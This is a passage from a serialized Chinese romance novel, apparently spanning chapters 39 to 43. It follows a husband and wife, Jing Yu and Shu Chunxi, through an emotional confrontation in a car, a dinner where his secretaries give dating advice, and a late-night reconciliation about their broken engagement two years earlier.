敬渝直起身子,收回手探进西装里,从左边的内袋里拿出一块叠了两道的深蓝色丝绸手帕,左手不动声色地向自己身侧一揽,将女人拉到身前,俯下身就去擦拭她脸上的泪。 手帕顺滑,他于是用食指抵着,在她的脸上轻按,试图将泪水吸走。 动作耐心仔细,就像怀里抱着的是一个需要照顾的新生婴儿,亦或是一个精巧易碎的陶瓷洋娃娃。 近乎被男人无声却又带着不容抗拒的强势动作给抱在怀里,舒纯熙僵着身体动不了了,只是一双乌黑明亮的大眼睛后知后觉地眨巴了两下,不断从眼尾涌出了更多泪珠。 仿佛在同他堵着气,好叫他的动作彻底前功尽弃。 敬渝无奈,只好用帕子先将她双颊上不太清晰的泪痕拭完,转而将手中绸布攥在手里团成一团,再覆在她一边眼下。 “我下午要去琦琦工厂视察,要不要跟我一起去?” 琦琦工厂是暮帆商会底下的一个玩具品牌,从系列动画、电影到具体的形象IP和周边产业应有尽有,已经创立超过二十年,是整个凛洲家喻户晓的传奇品牌,陪伴了好几代人成长。 舒纯熙自然也不例外,敬渝听到郑徽安排这项工作的时候就想到了。 所以他才会让自己的车先回去,留下来等她。 一句话问完,敬渝停顿了一下,等待她回答的同时,在心里评估着是否成功转移了舒纯熙的注意力。 然后得到的就是一句不咸不淡的低低嗤笑,听起来并没有要买他账的意思。 她现在连琦琦工厂也不感兴趣了…… 敬渝抿着唇,说不出是有些失落,亦或是意料之中,总之在心里默默地记下了。 便又只得转回原先的话题上,男人仔仔细细地将她一张脸看清楚,又将帕子移到另一边,捂了捂舒纯熙的眼睛。 女人下意识地闭上了双眼,然后一边的眼皮子上感受到实实在在的触感。 眼前是不再视物的一片空,听力在这种时候只会更加灵敏。 而后,她听见了敬渝轻轻地叹了一声,在她眼上冰敷似得按了按,头大概也低得更甚,说话的声音离自己耳边很近。 起先还是一句追问,然后又止住声音,几秒后嘀咕地自语了一句。 “到底怎么了,真不告诉我?……都哭成这样了。” 话说完,他默默收回了手,身前的女人也就睁开了双眼。 刚刚流完眼泪,眼眶里面还有一种干涩的不适。 男人又在耳边用那种温柔的语调唤了一句“纯熙”,仿佛他们两个其实是什么抵死缠绵的情人一样。 舒纯熙闷闷地吸了一口气,忽然挡开敬渝的手臂起身,一只膝盖撑着座椅,另一只腿横过去的同时,上半身所有的力气都抵在敬渝的右肩上,把他往靠背上猛地一压。 双脚岔开在他双腿两侧,直着上半身跪在后座上,女人一掌按着他的肩膀,反客为主地将他牢牢地抵在后座椅背上面,居高临下地用双眼睨他。 敬渝被包裹在西装裤腿里的双腿不自觉地绷紧,被她突如其来的举动惊讶到,却又还算有眼色地顺从了她。 不仅如此,他甚至很快就意识到,自己僵硬的上半身已经在她手下没有了一点反抗的力气,所有的紧绷和克制都作用在了自己的身上,面对上身前的女人,竟只摆得出软绵绵任她摆布的模样。 呼吸有些无奈地扑在鼻下,逐渐急促起来,不顾胸腔里加速跳动的心脏,男人抿紧的唇瓣后两排牙亦暗自压紧,好维持面上的平静,半敛的桃花眼向上微微抬起,对上了女人面带不满的神色。 她见完岳父的时候,虽然也没给自己什么好脸色,但还没有失控成刚才那样子。 所以,就是去见过岳母,从她那里听到了什么,才会一时情绪失控至此。 但敬渝猜不出来岳母大人到底是跟她说了什么,所以她出来的时候才会是这样的一副模样。 他终于想要支起上半身,但又实在不知道自己可以做点什么举动,是该拥抱还是怎样,才能起到一点安慰的作用,有些踌躇试探地说: “你说话呀,不要不理我。” 舒纯熙在他这么自然的一句话里火气更甚,觉得自己就要被点着了,一时之间既生气又委屈,既难过又烦躁,猛地扑上去拽住敬渝的衣领,恶狠狠地砸了他一拳。 敬渝别开脸来,闷哼一声,身体的一丝痛楚随之而来逐渐泛开。 他垂下眼眸,不知所措,但也终于看清楚了形势,明白她生气的原 因大概跟自己脱不了干系。 不过思绪流转的瞬间,腿上传来受重的感觉,压得他不得动弹,一具身体到了他身前紧挨着,中间几乎没有更多的缝隙。 敬渝还没有从女人这个近乎“拥抱”的动作里反应过来,就已经被一只手臂猛地圈住了脖颈往她自己的颈边带,后背离开椅背,有些踉跄地反拥住她,皮鞋在地板上摩擦出一点声响后抵住。 双腿随之调整了姿势,贴着舒纯熙骨骼下的皮肤,将她颠簸了一下。 而女人的另一只手环过他身体,拳心向着他的背,借着这个姿势对着他的后背一通乱砸了起来。 敬渝短促地呼吸起来,甚至还得压抑下胸膛不自觉要因而起伏的幅度,尽量一声不吭。 总算,不知道是出气了还是打累了,舒纯熙停下手,因为动作太激烈而剧烈喘息着,崩溃的情绪撕裂了语调,偏过脸,唇就凑在他耳旁,低声吼叫着: “你还真是有本事,我爸我妈都叫我跟你好好过日子。你也不想想,你配吗,你配我跟你好好过日子么?!” 她说完,止住了声音,依旧低喘着在平复呼吸,嗓子里挤出些似笑似哭的声响来。 比她高一些的男人垂首,在听见她的话之后,全身都像一尊老化的石像一般皲裂了起来,长久地沉默起来。 “你说话!” 敬渝只好没有什么笑意地扯了扯嘴角,揽着她的腰身,另一只大掌顺着她的脊骨替她抚着,低声开了口,也说: “我不配。” 他应了这一句,怀里的女人不再那么烦躁,只是伏在他肩上微微颤动着蝴蝶背。 舒纯熙坐在敬渝的身上,两个人现在的动作就是面对面扭曲地相拥着,看不见彼此的一点神情。 如此地亲密无间,却又好像隔得极远,两颗心贴着彼此的皮肤争相跳动着,然而它们之间实际的距离,远得敬渝已经不敢再去探究了。 世上又怎会有这样捉弄人的相拥?让人明明离得近在咫尺,却只觉得正在失去。 他仿佛认真严谨地思索了那个问题,又低低地呢喃了一句,闭上双眼忍住心中钝痛, “是,我不配。” 舒纯熙鼻子一酸,即使得到他真切的赞同,心情也没有因此而好上一点。 下巴抵在他的肩上,低头的瞬间,一滴泪砸下去,隐入敬渝的黑色西装里。 她止不住放声大哭起来,恶狠狠地又砸了一下那人坚硬得跟竹子一样的后背,声音越来越大,仿佛止不住闸的水,总算在此刻彻底决堤。 “我恨你,我恨你!你根本什么都不知道,我恨死你了!” 其实舒纯熙究竟伸不伸手打他,敬渝都已经无所谓了,他只觉得自己的心碎得彻底。 她越哭他就越痛。 无数种痛糅杂在一起,分不清楚来路也找不出归途。 但最要紧的那种痛,绝不是在为这份被恨而难过,而是心疼这个在自己面前嚎啕大哭的女人。 他也恨自己,恨自己为什么什么都不知道,他也恨死自己了。 手臂已拥得不能更紧,双臂上暴起的青筋却还在用力,敬渝淹没在舒纯熙的泪水里,甚至生出了一种朦胧的疑心,察觉出一种可能性来。 或许在那些他不知道的地方,是不是真的曾发生过什么他不知道的事情。 男人紧闭着双眼,偏过头胡乱吻在女人的发丝上,虔诚得如同赎罪,声音晦暗不明,灰败得如同一只斗败的动物。 “对不起纯熙,都是我的错,是我对不起你……” 第40章 “当然都是你的错,都怪你……都怪你!……” 女人“唔”地哽咽一声,拳头又猛地在他肩上砸了一下,发泄着不满,越说越气,语调里又含满了委屈。 竟有那么一瞬间,敬渝误以为自己回到了从前,而舒纯熙其实是在对着自己撒娇而已。 那恍惚从脑中一闪而过后,敬渝缓缓松开了拥着舒纯熙的手臂,向后仰去抵在椅背上,同她拉开了点距离,以便看见她的脸庞。 如他所料,舒纯熙现在的脸又是一片汪洋。 眼前这张白里透红的粉面上,水迹流淌,长长的睫尾上还挂着一颗豆大的泪珠。 敬渝吸了一口气,伸手用拇指将那颗泪珠染开。 “我知道错了,你罚我好不好,怎么罚都行,我绝对认罚,好不好?” 女人一下子扭过头,嗡嗡的鼻音低声反驳道: “我讨厌你。” 敬渝干巴巴地开合了一下双唇,才轻轻地问: “那要怎样才能不讨厌我,怎样才会再喜欢我?” 女人颤动了一下身子,好像被他给气笑了,大幅度地摇了摇头,看上去像一只人形拨浪鼓,高声大叫道: “讨厌你,怎么样都讨厌!不喜欢,不喜欢,一点都不喜欢你,讨厌死你了!” 男人的眉头拧起来,又一把拥住了舒纯熙,低下头跟她额头相触,认真地说: “可是我喜欢纯熙你,怎么样都喜欢。喜欢,喜欢,非常的喜欢纯熙,一点都不讨厌纯熙。现在怎么办呢?” 说完这句话,敬渝有些紧张地去瞥舒纯熙的神情,心里忐忑不安。 他敢发誓,这句话是他的人生进行到现在为止,说得最为露骨的、表明心意的话。 然后,在他惴惴的呼吸之中,舒纯熙竟然直接被他给弄哭了,也不知道是被他气哭的,还是怎样。 只是这一回,她不是号啕着大哭起来,而是望着他的眼睛安静地流淌着眼泪,又很快转过脸去,自己用手背把泪水抹去,整个人透着一种难以看穿的意味。 敬渝暗骂自己果真是又说错话了,手忙脚乱地又拥上去,把人抱在怀里,又是抚背又是帮忙擦眼泪,就差像哄小孩那样用双臂规律地颠着她来哄了。 不知又过去了多久,怀里的女人哭完这一场,有些疲惫地闭上了双眼,终于依靠在他胸膛上。 桃花面上泪痕犹在,男人用手抚了抚,却好像始终擦不净那痕迹,如同已经印在自己的眼底那般。 敬渝不动声色地低下头,唇瓣悄然在她眼下印了一下。 幸好她睡着了。 怀里沉甸甸的触感无比真实,男人勾起唇,静静地搂着她。 下午敬渝推迟了去琦琦工厂视察的工作,先送舒纯熙回了家。 那一场哭闹耗费了她太多力气,到了家门口,怀里的女人也没有要苏醒的迹象,敬渝便把她抱下了车,一路抱回了卧室里。 房间里的摆设依旧是熟悉的,唯有他那一边的床头柜上撤掉了台灯,摆上了一个暗绿色的玻璃花瓶,里面放着一高一矮两支芍药的花苞。 大概是他不回房间住,自己那边的床头柜都已经被征用改造了。 花是很好看的,还没有开,两个小团子,底下的根茎朝着不同的方向弯曲着生长出意趣来。 不知道是不是舒纯熙摆弄的,如果是,肯定算好事。 但敬渝在她床边坐了一会儿,又幽幽地盯着那个花瓶想,自己什么时候才能搬回卧室来住? 安顿好舒纯熙,敬渝才出了门去琦琦工厂。 秘书室的人跟工厂的接待人员已经等在了门口,引着敬渝往生产车间去。 带上安全帽的一行人在里面绕了一圈,又到办公楼里参观完展览馆,本次视察至此结束。 然后琦琦工厂现在的负责人示意秘书让人把伴手礼装上后备箱。 回了公司下了车,敬渝刚准备迈开步子,想到了什么,又后退两步绕到车后,跟在郑徽后面,把给自己的那一提伴手礼也拿出来,托在手上看了看。 “敬总,是琦琦工厂最新的限量款IP联名“精灵谷美梦”,给我们带回来的应该是专门做出来的礼品特供装。” 他们的这一提箱子,里面是这个系列所有的毛绒玩偶的汇总,包括挂件和最小号的玩偶摆件。 而进入游乐园商店里具体售卖的时候,这些玩偶都将是以单个形式拆开售卖,有些一个难求,很难集齐全部。 不过工厂自己会自留一小部分做成这种礼品装,用作内部的送礼,比如今天的这种情况。 敬渝“嗯”了一下,隔 着包装盒上面的一大块透明塑料看了看里面玩偶的样子,拎在手上,迈开步子率先走了。 郑徽跟唐廪跟在后面交换了一个眼神,竟然觉得刚刚老板的步伐里透着一股子满意来? 有点像是个出差回来、左右手都拎满了娃娃的那种爸爸,有种迫不及待给女儿捎带礼物的既视感。 “……” 唐廪不置可否,但郑徽是知道的。 实话实说,自从老板结了婚,喜气洋洋是一点没见着,反而一段日子有一段日子的失魂落魄,每段日子还都不雷同。 他单身,就也住在敬家。 据他暗中留意,敬渝婚后其实是一直在睡书房的。 书房那张沙发虽然不算小吧,但到底不是沙发床,更何况敬渝身量一米八三,想想也知道睡着是不舒服的。 老板对自己也挺狠的,明明家里面还有那么多间客房,但不知道是不是就为了不承认自己跟老婆是在“分房睡”,所以才会那么执着地睡书房。 想着,郑徽耸了耸肩,替老板叹了一口气。 上了楼后,又很快被敬渝叫到办公室里。 男人已经从先前的那点喜悦情绪里脱身,出神地在想另一桩事,见郑徽进来,指尖拿着一支钢笔在面前的桌子上抵着没动,静静地交代道: “你找个私家侦探去帮我查点事情。” 郑徽应下,又具体问了句: “具体查什么,我们这边要提供什么资料吗?” 敬渝“啧”了一声,有点无奈地揉了揉眉心,一时之间也不知道该怎么说,为难了好一会儿,把笔一放,沉声说: “纯熙说有些事情我不知道,我想了一会儿,没有头绪,总之,你找人去查吧。” “那就是,找人查下太太?” 郑徽犹疑地确认了一遍。 坐在办公桌后的人有点赧然,神色颇为不自然地“嗯”了一声。 他实在是不常做这种事,自己想不明白还要找人去查,总有些窥探他人隐私的感觉,是以多少还是会心虚。 这种感觉,对上舒纯熙的事尤甚。 不过,便是再不该做,自从她回来后,他做的出格的事也不少了。 心里面的疑团日益加重,就像游泳的人总是摸不到对岸一样。他总得想办法弄清楚。 站在一旁,看敬渝拧着眉面色不是很好的样子,郑徽眼观鼻鼻观心,默默地等待了一会儿,认真思索了一下,问: “敬总,太太还跟你说什么了吗?” 敬渝轻叹出一口气,摇摇头,只是说: “没什么要紧的,她什么都不肯跟我说。” 而她最常说的那些话,他也实在说不出口复述给别人听。 “要不咱们晚上聚聚,我们给您出出主意?” 他指的是秘书室的那几个人,全部都是单身,听上去也真是死马当活马医了。 而敬渝眨了眨眼,竟然也点了头。 郑徽默默地在心里捧起蜡烛。 晚上,郑徽还真的把秘书室的几个人都给约到一起,大家去一家私厨吃了晚饭,然后又跑到露台上喝鸡尾酒。 这家的鸡尾酒上桌后,服务生会点燃上面的一层火焰,火焰燃烧在酒液上面,舔着青紫色的火舌,看上去很有节目效果。 每一次点火,一整个露台的人都会高声欢呼。 他们这一桌的酒上来之前,敬渝这一桌人就都会抬起头去看别人的酒,然后非常给面子地高声喝彩。 待到他们的酒也上来时,周遭惯例似的又响起起哄的欢呼声。 敬渝一晚上就在这种喧闹的氛围里,安静地坐在角落,偶尔用一种幽暗的目光扫一眼找地方的游之翎。 游之翎不敢跟敬渝对视超过五秒钟,立刻移开目光,讪讪地笑了一下,说: “老板,既来之则安之,吵吵闹闹地才好玩嘛,出来放松一下。” 而角落里的人扶额,痛苦地闭上了双眼。 四周终于安静了一段时间,郑徽用手肘戳戳游之翎,然后示意他说点有用的。 在此之前,郑徽已经悄悄地委婉转述了敬渝现在的情况,让几个人帮他想想办法。 游之翎想起来这茬,将功补过似的把话头抢过来,对着敬渝信誓旦旦地说: “敬总,我跟你说,男女关系呢,就讲究欲情故纵、有来有回,你要是太哄着太太了,太太她说不定反而有恃无恐了,所以呢,我给你想了个主意。” 敬渝没好气地瞥了他一眼,“哦?” 面前的人咧嘴一笑,伸出食指扬在身前,说: “你得适当地也让女生吃吃醋,让她有危机感,让她觉得你也是很抢手的,需要被好好珍惜的。”【你现在阅读的是 】 40-50 第41章 敬渝面露疑惑,古怪地打量了一下游之翎,只听见他继续说: “就比如呢,你想办法制造一些机会,让太太看见你跟其他女生走得很近,觉得自己有了情敌。她要是生气呢,那就证明她心里面还是有你的,极有可能再逼她一把,她就会愿意敞开心扉,正视自己内心的情感了。” 郑徽听着听着,竟然觉得这法子不地道的同时但还是有点道理的,连忙又问: “那太太要是不生气,也没什么反应呢?” 游之翎“啊”了一声,悻悻地回道: “她要是不生气的话,那就是心里面已经没有敬总了,所以敬总做什么,她也就都不在意了。” 说完,他想象了一下这种可能性,有点心虚地摸了摸自己的鼻子,试图降低自己的存在感。 而对面的敬渝自然清楚自己这婚是怎么结的,他明白自己根本就没有去试探她心意的底气。 原本还有孩子的事情可以做借口,但现在他也知道了舒纯熙并没有怀孕。 没了当初那个借口,两个人婚是结了,但压根没有正常夫妻该有的样子。 如今之所以还勉强能维持得下去,一切不过是自己的强求,怎么还能蹬鼻子上脸去验证些什么呢? 当然了,弄清楚她的心意,确实是埋在心底里的一件要紧事,但肯定不是用游之翎说的这种方法。 本来她就生自己的气,到现在也没有原谅自己。而因着他的缘故,她都已经受了那么多的委屈。 若只是为了逼她承认心意,自己就要跑去跟别的女人暧昧不清,再转回来欣赏她的伤心和心酸,用这种手段去算计他们之间的感情,那他还算得上是个人吗? 敬渝抿了一口杯子里的酒,淡淡地问游之翎: “你怎么想出来这个办法的,有经验,自己试过?” “呃,” 游之翎陷入了短暂的回忆之中,小声说: “我上大学的时候追我前女友,追了很久她也没松口,后来新学期开始,社团活动里有别的女生总找我说话,被她看见了,她就跟我生气不理我……然后,我弄明白她生气的原因之后,再次跟她表白,我们就顺利在一起了……所以这个方法,也是我自己总结出来的。” 敬渝点点头,“奥”了一声,又喝了一口鸡尾酒,双手往桌子上一横,望着游之翎的脸,又疑惑道: “那你们是怎么分手的?” 话音刚落,游之翎脸上就出现一种犹豫纠结的神情,低下头不给其他人看自己的表情,声音低低地从嘴巴里传出来,说: “她说我是中央空调,一点都不洁身自好,总是跟其他女生走得很近,她实在受不了了……” 说完,男人又忽然抬起头,求助似的说: “可是我真没有别的意思啊,但我怎么解释她都不相信。” 余下的几个人各自端起自己的酒杯,都默然地喝了一口杯中的酒,避免回应游之翎的视线 。 最后还是敬渝淡然地说了句: “常在河边走,哪有不湿鞋,看来你这也算是自作自受了。” 说完这句话,敬渝把杯中的最后一点酒一饮而尽,站起身来打算离开,旁边的另外两个人也站起来给他让道。 男人摆了摆手挥别秘书室的几个下属,到前台签了单,然后踏上了回家的路。 后面的游之翎闹了个欲哭无泪的脸,拽着郑徽说: “老板怎么这样啊?我好心好意给他出谋划策,他反而阴阳怪气我!” 郑徽默默地收回了自己的胳膊,把游之翎制住,侧过脑袋来上下打量了一下他,建议道: “你还是把你这些亲身经历的血泪经验留给自己吧。” “喂,你什么意思!” 郑徽抬起双手交握,抵在自己的脖颈后面,悠悠地说: “你个傻子还看不出来么?敬总跟太太是多少年青梅竹马的感情,人家从十几岁开始就是个妥妥的‘未婚妻管严’,这种馊主意压根舞不到太太面前,敬总就给否了……谁叫你说这些乱七八糟的办法的?” 游之翎这才想明白其中的关窍,但也不能怪他,他进秘书室也就是这两三年的事,哪里知道这些。 敢情老板是替太太抱不平呢,护得也太紧了。 游之翎哀嚎一声,对着郑徽高呼“你丫害我”! 。 敬渝到家已经是十一点多。 这段时间他回来得都很晚,担心打扰舒纯熙,就不会再回楼上的卧室去洗漱。 久而久之,书房里也备了几套换洗的衣物,他一般就在一楼的一间客房里沐浴洗漱。 换好睡衣从浴室出来,敬渝想了一下,舒纯熙今天晚上大概率还没有睡,毕竟中午睡了一觉,有可能下午才醒,那晚上就容易睡不着。 就这样想着,男人回书房拿了那箱玩偶上了楼,在卧室门口敲了两下门,然后推开走了进去。 房间里亮着灯,床上坐着的女人捧着平板,一只手在屏幕上滑动着,不知道在看什么东西。 听到敬渝进来的声响,舒纯熙抬了下头,轻飘飘地望了他一眼。 而站在门口的男人则低头用指尖摸了下鼻子,故作寻常地解释了一句: “我来找条领带,明天要用。” 回应他的是一声极其低的“哦”,好像并不关心,从嗓子眼里随意滑出来一个音节而已。 然后敬渝就转身进了衣帽间,把那一提娃娃侧着摆在中间的展示柜上面,然后还后退了两三步,远远看着跟正面呈现出一个角度的箱子,颇为挑剔地又走上前去,调整了一下角度。 就像是一位在给产品拍效果图的摄影师。 鉴于今天上午的事情,敬渝拿不准舒纯熙看到这个东西还会不会喜欢,所以他选择比较稳妥地把东西悄悄放在衣帽间里,等她自己发现。 做完这些,男人再打开一层展示柜的抽屉,从自己那一堆领带里随便拿了一条出来,握在手心里,出了衣帽间。 舒纯熙刚刚就看见敬渝手里拿着什么东西了,但他也没提,反而把东西拿走了。 心里不痛不痒地萦绕着一点好奇的感觉。 等到男人出来的时候,她又看了眼,确定东西是被他放下了。 偏偏头,女人眨巴着双眼,注视着本该出门的男人在门口停下了脚步,然后转过来,朝着自己一步一步走近。到了跟前,还顺势坐在了床边。 “你……” 嘴里嘀咕了一声,舒纯熙不动声色地问了句: “干什么?” 敬渝静静地望着她,女人微翘的唇昭示着她心情还不错,看上去已经从上午的那一遭中恢复了过来。 既然如此,他也不能再主动提起来,把她的情绪重新勾回来。 想着,缓缓呼出一口气,仗着先前喝的那杯鸡尾酒的酒精浓度,敬渝牵起唇角,嘴角噙着笑,忽然就问她: “我能亲你一下么?” 在舒纯熙微微扬动的双眉之中,赶在女人拒绝之前,他又低笑了一声,定定地望着她,小声说了三个字。 “求你了。” 舒纯熙莫名其妙地看着眼前的敬渝,发现他的记性好像不是很好。 上午发生的事情储存在大脑里面,她醒过来之后,缓缓地又读写了一遍,后知后觉地隐约有种羞耻和愧疚的感觉。 她是赌气,但她并不喜欢用言语来刺伤别人。 那一句“你配吗”,被怒火中烧的自己脱口而出,多少带着点口不择言的成分。 现在回想起来,心里难得地会萦绕起一丝心虚,不知道该怎么面对他。 更何况,她好像还逼他承认“他不配”。 想来感情不协便罢,何必闹得彼此这么难堪呢? 然而,眼前的男人好像丝毫没有被她的那些话给影响,对着自己依旧笑得出来。 舒纯熙都快要想不明白了,她究竟是该夸他情绪稳定呢,还是该说他记吃不记打呢。 明明只要他进一步,她就会想办法扎他一刀,逼他退回安全距离。 而现在,他竟然还敢凑上来,并且说的话都有点不要脸皮了。 “我上午跟你说什么了,你不记得了?” 女人低下头,漠然地提醒了一句。 身旁坐着的男人随之沉默了一下,伸出手来把她的一只手握在掌心之中,终于开口,说: “我记得。但我不是也说了吗,我喜欢你,纯熙,我可以等,可以努力,我会让你重新喜欢上我的。” 舒纯熙被握着的那只手一僵,只觉得自己又回到了上午那时候,听到他说那些话的情景里面,就连当时的那种情绪也随之将她再次席卷起来。 一颗如同涩果般的心,被繁复的果皮给包裹了起来。 打不开,看不清,也砸不烂。 “不会,我不会喜欢上你的,你等不到的。” 她摇了摇头,把手从他掌心里抽出来。 “为什么?” 男人嘴角的笑终于还是凝滞住了,他深呼吸了一口气,终究按捺不住心里的话,有点绝望地追问了一句: “我们还有很多年不是么? “而且,敬亭已经走了,他永远都不会再回到你身边了,纯熙……” 第42章 舒纯熙忽然冷笑了一声,面上没有了一丁点的好脸色, “所以呢?就因为敬亭死了,所以你觉得你又有机会了?” 敬渝一时凝噎住,不知道该怎么回答这个问题,双拳不自觉地蜷了起来,有些无力地搭在被子上。 好像不论说“是”,还是“不是”,都不是什么好回答。 或许他就不应该提起敬亭来,他应该避开这个名字的。 “纯熙,其实我,我一直……” 敬渝不想在这种时候保持长久的沉默,仿佛他没有勇气回答这个问题。艰难地在脑中措辞斟酌着,眸中浮着一种很复杂的神色,他望着舒纯熙,终于把一句话的后半部分给说完: “我一直都在等你,回过头来再看看我。” 女人没有回答,他则屏住一口气,下定决心般攥住了手, “我的意思是,我一直都在这里,等着你回头。……就算是敬亭还在的时候,只要你有一丝一毫想要回到我身边的意愿,我都会很高兴。你不需要担心任何外在的麻烦,我都会替你处理好的。” 他无数次天真地在脑子里设想过这件事。 从在意识上放纵自己,到在黑夜里慰藉自己,总之他一直在幻想着会有这么一天。 并且在一成不变、日复一日的等待之中,他终于想明白了: 即使她嫁给了他的堂弟又怎样? 只要她流露出任何一点后悔了的想法,他就愿意帮他们处理离婚的事情,然后去莫瑞恩尔带她回来。 但是没有,她彻底忘了自己,然后去爱另一个男人了。 他们俩的那段感情,被她彻底给割断了,丢在了身后,留在了两年前。 他追去莫瑞恩尔的时候,舒纯熙已经跟敬亭登记结婚了。 这一点,是即使他到了波利,也无法改变的事实了。但这却不是最紧要的,因为她并不愿意跟自己回来。 尽管,这件事超出了他所有的预期乃至于认知,可他终究无法做出来强迫她改 变想法的事情,所以也只能失魂落魄地离开了波利。 第一年,他还沉浸在那种终有一天她可能会反悔的幻想里面。 等到第二年,他已经绝望地接受了事实。 那就是她大概真的不会再回头了,她跟敬亭会白头偕老,而自己则会孤独终生。 所有的一切,都源于最初的那件事。蝴蝶轻轻煽动了一下翅膀,直接引发了后面这一系列不可挽回的后果。 坐在床上的女人,双手紧紧地揪在一起,身体一动不动,表情也没有一丝一毫的变化,如同入定老僧,脑子里只是回响了一遍敬渝的话。 他在等她回头看看,等她反悔,等她…… 她不知道该说点什么,本该巧舌如簧的嘴巴此时干巴巴地闭着。 如果生气愤怒的时候她能说出很多刺人的话,那也仅仅是因为还有一份心气催着她。 可现在,她却是真的一个字都不想费心去想,也不想去思考该说些什么了。 恍惚间,她又想起来敬渝说的那条消息来。 那天之后,她在网上随便找了一家店,问他们能不能修复被删除了的聊天记录。 两年前,她不仅仅是拉黑过敬渝,那条信息被删除之后,她还把敬渝的账号也给删除了。 所以要找回那条信息,难如上青天。 于是作罢。 舒纯熙用鼻子泄气般地呼出一口气,忽然抬起头,朝他伸手,道: “把你手机给我。” 敬渝愣了一下,但并没有顿很久,立刻就站起身下楼去拿自己的手机。 他的手机是大约两年半前换的,平时用得不多,到现在内存也没满,所以也就没有换过。 而敬渝从来没有做过任何会导致他们俩聊天记录清空的行为,因此,他给舒纯熙发的那些信息记录也就还在。 舒纯熙拿着他的手机,甚至没有往上翻多久,就滑过了好几个位于中间提示年份日期的灰色矩形,找到了敬渝发给自己的那条信息。 话不算太长,但言简意赅,应该是他提前就编辑好了的。 先是道歉哄人,然后就是问她打算什么时候回来,婚期他擅自定好了最近的吉日,婚礼的布置也都在有条不紊地准备着。最后叫她玩得差不多了就回来,别生他的气了,等她回来,他任凭她出气处置。 诚然,对于当年的那个敬渝来说,这条信息里他摆出的姿态已经够低了,大概他也终于觉察得到,这件事其实并不同他们以往的那些闹别扭。 确实不同,以至于无可挽回。 舒纯熙捧着手机,看屏幕的双眼直直地盯着,一动不动,没有表情的样子看上去有点吓人。 敬渝凑上前,轻柔地朝她搂过去,扫了一眼屏幕上的内容,然后将头放在舒纯熙的肩上。 男人的声音沉闷,紧闭着的双眼似乎在极力阻止着心绪泄露,颤着尾音,瓮声瓮气地说: “纯熙,我常常在想,要是那时候我立刻答应你就好了,也就不会有后面事情,我也不会失去你了。对不起,都是我没有处理好,是我不好,让你伤心失望了。 “而且,我也不应该跟你赌气那么久的,不然我早知道你和敬亭的事,我一定会阻止的。要是我知道,我们赌气的后果会是这样,我这辈子都不会再跟你赌气的。 “纯熙,失去你的后果是我真的无法承受的,这两年里我无时无刻不在后悔,我真的很难过。” 说到最后,男人的声音有些哽咽地说不下去,眼睛也终于睁开来,开了闸的情绪再也止不住,双睫扑朔着掉落了几滴泪。 “我知道你生我的气,但是这场气你已经生了两年了,久到我觉得自己这辈子也就这样了,真的,我们就此和好吧,好不好?” 而听完他这些话之后,身前女人的身体明显更加僵硬了一些,她艰难地转过头来,用一种复杂到极致的目光望着他,从落泪的面上扫过,忽然很静地告诉他: “其实我不怪你。” 她其实没有真的怪过他犹豫了,甚至不觉得他是懦弱。 这件事她从来没跟任何人说过,当然也包括他,她想他或许永远都不会明白这一点。 女人移开了目光,望着远方又默默开了口, “那天去探视我妈妈的时候,她劝我说,当年的事情,你一定也很为难,让我体谅你,而且,那时候爸爸让我来找你,要我跟你立刻结婚,其实是在试探你,要你和敬家与我们绑在一起……” 敬渝嚅动了一下双唇,想说点什么,但舒纯熙没有给他机会,自顾自地又说了下去,呢喃得很小声: “可是他们不知道,其实这些事,我都明白。我知道那时候要你答应我,其实就是在用感情绑架你,我也知道你确实会很难做。 “这些事,我都明白,但我还是去问了,其实……我也看不起自己那时候的行为。所以,嫁给敬亭,不是赌气,是我自己愿意的,也是我的选择。” 时隔两年,要她去回想那个时候发生的事情,她都不能明确地记清楚每一桩每一件了。 只隐约记得各种事情堆叠在了一起,所有的情绪都那么激烈地纠缠在一块儿,一颗心像是被糊在了一处。 但在那一团迷雾里面,她的心确实是逐渐往天平的某一端偏移了过去,有了一个大致的方向。 说是跟敬渝赌气之下的任性报复也好,说是惶恐之中抓住救命稻草的选择也好,说是为着一点私心而选择了敬亭也好,太多太多的理由结合在一起,推着她往前走,她绝不会在原地等着他。 后来她想,自己选择答应敬亭的求婚,其实有一种必然性。 舒氏大厦一朝坍塌,她再是天真懵懂,也看得清形势,知道自己该识些时务,因为她已经没有了从前对敬渝“围追截堵”的那种底气。 从前父母荣光尚在,舒敬两家门当户对,自己跟敬渝青梅竹马,她自然可以肆无忌惮地骄纵任性,也可以尽情地跟敬渝赌气,逼他向自己妥协。 但不过是一夜之间而已,那股子从前有恃无恐的能力,冥冥之中已从身体里被抽走。 她在世事无常的恐慌无助里想明白一件事情,那就是即使她嫁给了敬渝,因为要靠他才能帮舒家翻案,他们之间再也不会平等了。 敬渝将会有一个一直拖累他的岳家,终有一日她大概也会成为他人生里的蚊子血。 她即将不可避免地要成为依附他才能生存下去的人了,因为除了他,她已经失去了自己拥有的所有。 但如果她没有了自己拥有的所有,她还能心安理得、理所当然地拥有他么? 她没有勇气去赌这个,选择给自己留点体面,给这份感情画一个句号。 比起因为赌气而另嫁他人,她更不能接受的,反而是眼睁睁看着自己跟敬渝的这段感情逐渐走向貌合神离。 这样的感受太折磨人了,就好像是一株精心呵护、饱含期待的蔷薇花,你要亲眼看着它在开花的前夕,于暴雨之中飘零凋谢。 这样的感情收尾太令人难堪了,会成为她一生的阴影的。 第43章 舒纯熙勾唇笑了笑,不知道自己的这些话,敬渝究竟能不能明白。 明明是在笑着,但她转过头坦然望向他的瞬间,眼里还是砸下一滴泪来。 “啪嗒”一声,滴落在敬渝的衣摆,洇出一块水迹。 但两个泪眼朦胧的人都无心去管。 敬渝觉得自己难过极了,身体朝她凑得更近,彻底将人按进怀中。 女人埋首在他胸膛,额头垂下抵着他的心口,不让他看见自己现在的面庞。 声音从身下温吞地传到男人耳边,如同带着午夜里挥散不开的浓雾。 “我没想拖累你的……” 只这一句,重 如千钧般压在敬渝心头,而说话的人仿佛也用尽了全身力气,才终于把这句话吐露出来。 尾音带起一片迷蒙,既而急促地哽咽了一下,就喘不上气来。 敬渝连忙把她的头抬起来,用手抚着她的脊背替她顺气。 好一会儿,舒纯熙才稍稍平静下来,面色却因方才的动作涨上些许潮红,呼出的气都虚弱了不少。 女人挪动了一下整个身体,朝敬渝彻底靠近过去,把脑袋搭在他肩上借力,心里的委屈继续漫上来,缓慢地继续说道: “这段时间,你的改变我都看见了,但是……为什么那些喜欢我的话,你不能早点说给我听呢,你晚了,你说得太晚了。” 如果你两年以前就说给过我听,说不定我的底气不会那么快地被抽走,说不定我还有勇气跟你一起去面对那一切,而不是非要选择逃走…… 